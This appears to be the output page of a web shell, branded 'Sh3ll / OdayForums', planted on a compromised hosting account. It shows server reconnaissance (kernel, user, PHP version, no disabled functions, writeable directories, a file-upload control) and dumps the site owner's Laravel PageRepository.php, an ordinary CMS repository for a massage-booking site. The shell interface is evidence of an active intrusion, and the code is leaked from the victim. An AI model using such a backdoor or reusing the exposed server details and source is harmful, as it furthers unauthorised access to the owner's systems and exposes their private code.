Sh3ll
OdayForums


Server : Apache
System : Linux 145.162.205.92.host.secureserver.net 5.14.0-611.45.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Wed Apr 1 05:56:53 EDT 2026 x86_64
User : tradze ( 1001)
PHP Version : 8.1.34
Disable Function : NONE
Directory :  /home/tradze/public_html/test.tradze.com/app_old/Modules/Pages/Repositories/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/tradze/public_html/test.tradze.com/app_old/Modules/Pages/Repositories/PageRepository.php
<?php
namespace App\Modules\Pages\Repositories;

use App\Modules\Events\Models\Zenevent;
use App\Modules\Faq\Models\Faq;
use App\Modules\Pages\Models\Page;
use App\Modules\Services\Models\ServiceDuration;
use App\Modules\Services\Models\ServiceType;
use App\Modules\Testimonials\Models\Testimonial;
use App\Modules\Vouchers\Models\VoucherOffer;
use App\Modules\Vouchers\Models\VoucherPackage;
use App\Modules\Zenjobs\Models\Zenjob;
use App\User;
use Bican\Roles\Models\Role;
use Illuminate\Support\Facades\File;
use Illuminate\Support\Facades\Storage;

class PageRepository
{

    /**
     * Get page bredcrumps
     * @param Page $page
     */
    public function page_breadcrumps(Page $page,$results=[])
    {
        $page->load('children','parent');

        if ($page->parent_id){
            if (!count($results))
                $results[] = $page->title;

            $parent = $page->parent;
            $results[] = $parent->title;
            if ($parent->parent_id)
                return $this->page_breadcrumps($parent,$results);
        }

        if (count($results))
            krsort($results);

        return $results;
    }

    /**
     * Get posibile parents options for a page
     *
     * @param Page $page
     * @return \Illuminate\Support\Collection
     */
    public function formParents(Page $pages)
    {
        $pageParents = collect();
        $pageParents->put('',trans('general.form_select_option'));

        $excludeIds[] = $pages->id;
        foreach($pages->children()->select('id')->get() as $child)
            $excludeIds[] = $child->id;

        $list = Page::whereNotIn('id',$excludeIds)
            ->lists('title','id');
        foreach($list as $id=>$p)
            $pageParents->put($id,$p);

        return $pageParents;
    }

    /**
     * Get page layouts
     *
     * @return array
     */
    public function layouts()
    {
        $results = [];

        //get page payouts
        $files = Storage::disk('pages')->allfiles();

        //create layouts results
        foreach($files as $file):
            $name = explode('.',$file);
            $results[$file] = str_replace(['-','_'],' ',$name[0]);
        endforeach;

        //return results
        return $results;
    }

    /**
     * Get page partials
     *
     * @return array
     */
    public function partials()
    {
        $results = [''=>trans('general.form_select_option')];
        $results['page_children'] = trans('pages::pages.widget_page_children');
        $results['page_faq'] = trans('pages::pages.widget_page_faq');
        $results['page_massage_types'] = trans('pages::pages.widget_massage_types');
        $results['page_therapists'] = trans('pages::pages.widget_therapists');
        $results['page_testimonials'] = trans('pages::pages.widget_testimonials');
        $results['page_events'] = trans('pages::pages.widget_events');
        $results['page_prices'] = trans('pages::pages.widget_prices');
        $results['page_offers'] = trans('pages::pages.widget_offers');
        $results['page_gifts'] = trans('pages::pages.widget_gifts');
        $results['page_jobs'] = trans('pages::pages.widget_jobs');
        return $results;
    }

    /**
     * Get page layout
     * @param $obj
     */
    public function get_page_layout($obj)
    {
        $chunks = explode('.',$obj->layout);
        // dd($chunks);
        //return layout name
        return str_replace('.php','',$chunks[0]);
    }

    /**
     * WIDGETS LIST:
     */

    /**
     * Fetch page children
     *
     */
    public function page_children(Page $page)
    {
        $pages = $page->children;
        $data['pages'] = $pages;

        return view('pages::frontend_new.partial_children',$data)->render();
    }

    /**
     * Fetch FAQ
     *
     * @return array
     */
    public function page_faq(Page $page)
    {
        $results = Faq::orderBy('order','asc')->get();
        $data['results'] = $results;

        return view('pages::frontend_new.partial_faq',$data)->render();
    }

    /**
     * Fetch Events
     *
     * @return array
     */
    public function page_events(Page $page)
    {
        $results = Zenevent::orderBy('order','asc')->get();
        $data['results'] = $results;

        return view('pages::frontend_new.partial_events',$data)->render();
    }

    /**
     * Fetch Events
     *
     * @return array
     */
    public function page_jobs(Page $page)
    {
        $results = Zenjob::first();
        $data['job'] = $results;

        //share data with all views
        view()->share('job', $results);

        //return partial view
        return view('pages::frontend_new.partial_jobs',$data)->render();
    }

    /**
     * Fetch Massage Types
     *
     * @return array
     */
    public function page_massage_types(Page $page)
    {
        $results = ServiceType::where('name','!=','optional')->get();
        $data['results'] = $results;

        //compose response
        $widgets = [
            'partial' => view('pages::frontend_new.partial_treatments',$data)->render(),
        ];

        //return widget response
        return $widgets;
    }

    /**
     * Return massage types
     *
     * @return mixed
     */
    public function get_massage_types()
    {
        $results = ServiceType::where('name','!=','optional')->get();
        $data['results'] = $results;
        return $data;
    }

    public function get_promoted_offers()
    {
        $offers = VoucherOffer::where('is_active',1)
                                ->where('is_promoted',1)
                                ->get();

        return $offers;
    }

    /**
     * Fetch Therapists
     *
     * @return array
     */
    public function page_therapists(Page $page)
    {
        $group = Role::where('name','therapist')->first();
        $results = User::with(['servicetypes','profile'])
                    ->whereHas('roles',function($query){
                                return $query->where('slug','therapist');
                            })
            ->orderBy('nr_crt')
            ->get();

        //create data array
        $data = [
            'results' => $results,
        ];

        //compose response
        $widgets = [
            'partial' => view('pages::frontend_new.partial_therapists',$data)->render(),
        ];

        //return widget response
        return $widgets;
    }

    /**
     * Fetch Testimonials
     *
     * @return array
     */
    public function page_testimonials(Page $page)
    {
        $results = Testimonial::where('is_active',1)
                                ->orderBy('id','desc')
                                ->get();
        $data['results'] = $results;

        return view('pages::frontend_new.partial_testimonials',$data)->render();
    }

    /**
     * Fetch Prices
     *
     * @return array
     */
    public function page_prices(Page $page)
    {
        $prices = ServiceDuration::where('is_extra',0)->orderBy('is_default','asc')->get();
        foreach($prices as $price){
            $results[$price->name][$price->id] = $price;
        }

        $data['results'] = collect($results);
        $data['page'] = $page;

        return view('pages::frontend_new.partial_prices',$data)->render();
    }

    /**
     * Fetch Offers
     *
     * @return array
     */
    public function page_offers(Page $page)
    {
        $offers = VoucherOffer::where('is_active',1)->get();

        $data['results'] = $offers;

        return view('pages::frontend_new.partial_offers',$data)->render();
    }

    /**
     * Fetch Gifts Package
     *
     * @return array
     */
    public function page_gifts(Page $page)
    {
        $obj = VoucherPackage::where('is_active',1)->get();

        $data['results'] = $obj;

        return view('pages::frontend_new.partial_gifts',$data)->render();
    }



    /**
     * Compose parrtial
     * @param Page $page
     */
    public function compose_partial(Page $page)
    {
        $html = '';
        $partial = $page->partial;

        //return empty if partial is not set
        if (!$partial) return $html;

        //get html
        $widgets = $this->$partial($page);

        //return html
        return $widgets;
    }


}

ZeroDay Forums Mini